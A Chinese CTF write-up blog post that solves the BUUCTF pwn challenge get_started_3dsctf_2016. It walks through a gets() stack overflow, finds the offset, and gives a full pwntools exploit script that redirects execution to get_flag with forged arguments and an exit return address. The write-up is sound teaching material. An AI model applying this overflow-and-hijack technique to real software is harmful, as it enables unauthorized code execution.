正常exit问题

题目简介

BUUCTF原题,链接在这BUUCTF原题:get_started_3dsctf_2016

这道题主要是记录一个没见过的坑,以及一种新的克制NX保护的方法

漏洞点分析

首先进入IDA查看反编译结果,如图:


可以看到main函数调用了gets,会发生溢出

接下来使用checksec检查程序的保护:


可以看到只开启了NX保护,再回头看IDA里面的函数表,发现一个get_flag函数,跟进发现功能为打开flag文件并输出,如图:


但是要注意这个函数存在参数校验,因此可以分析出漏洞点为:溢出gets函数,布置好两个参数,然后劫持到get_flag

漏洞点利用

首先确定get_flag函数的地址,通过readelf工具得到get_flag在0x80489a0,如图:


接下来确定偏移量,这里要注意main函数没有遵守正常退栈流程,如图:


因此从IDA里看到的ebp-0x38来计算偏移是不准确的,需要通过pwndbg的cyclic工具来查看偏移,如下图



可以看到偏移量是56

综上可以写出如下的利用脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
context(os="linux",arch="x86",log_level="debug")
context.terminal=["tmux","splitw","-h"]
targetELF="./pwn"
LOCAL=1
REMOTE=2
DEBUG=3
def Lauch(mode=LOCAL):
if mode==LOCAL:
ioTube=process(targetELF)
return ioTube
elif mode==REMOTE:
ioTube=remote("node5.buuoj.cn",26633)
return ioTube
elif mode==DEBUG:
ioTube=gdb.debug(targetELF,"b *main+32")
return ioTube
else:
ioTube=process(targetELF)
return ioTube

offset=56
argc1=814536271
argc2=425138641
exitAddr=0x804e6a0

winAddr=0x80489a0
winAddrSkipSome=0x80489b8

payload1=b'a'*offset+p32(winAddr)+p32(exitAddr)+p32(argc1)+p32(argc2)
# payload2=b'a'*offset+p32(winAddrSkipSome)+p32(exitAddr)
# payload3=b'a'*offset+p32(winAddr)+p32(0)+p32(argc1)+p32(argc2)
# payload4=b'a'*offset+p32(winAddrSkipSome)

ioTube=Lauch(REMOTE)
ioTube.sendline(payload1)
ioTube.recvuntil("Qual a palavrinha magica? ")
response=ioTube.recv().decode()
if r"flag{" in response:
print("flag在这:{}\n".format(response))

最后,说一下为什么exp中存在4种payload,这也是这道题的一个坑

因为我一开始是按照payload3写的,但打不通,后来搜索得知需要正常exit才能有回显flag,因此在get_flag的返回地址处填入的exit函数地址

至于为什么有的题目在返回到后门函数时不需要正常exit,个人认为是后门函数的具体功能不同,本题种后门函数是输出flag,在调用完后会ret,而有的题目的后门函数是调用system(“/bin/sh”),拿到shell后就不返回了,因此不需要exit

但是,还剩最后一个问题:为什么跳过参数校验时无论是否返回exit都无法正常输出flag?(即payload2和payload4)

这一点还没弄明白…………


正常exit问题
http://0x4a-210.github.io/2025/08/07/Questions/正常exit问题/
Posted on
August 7, 2025
Licensed under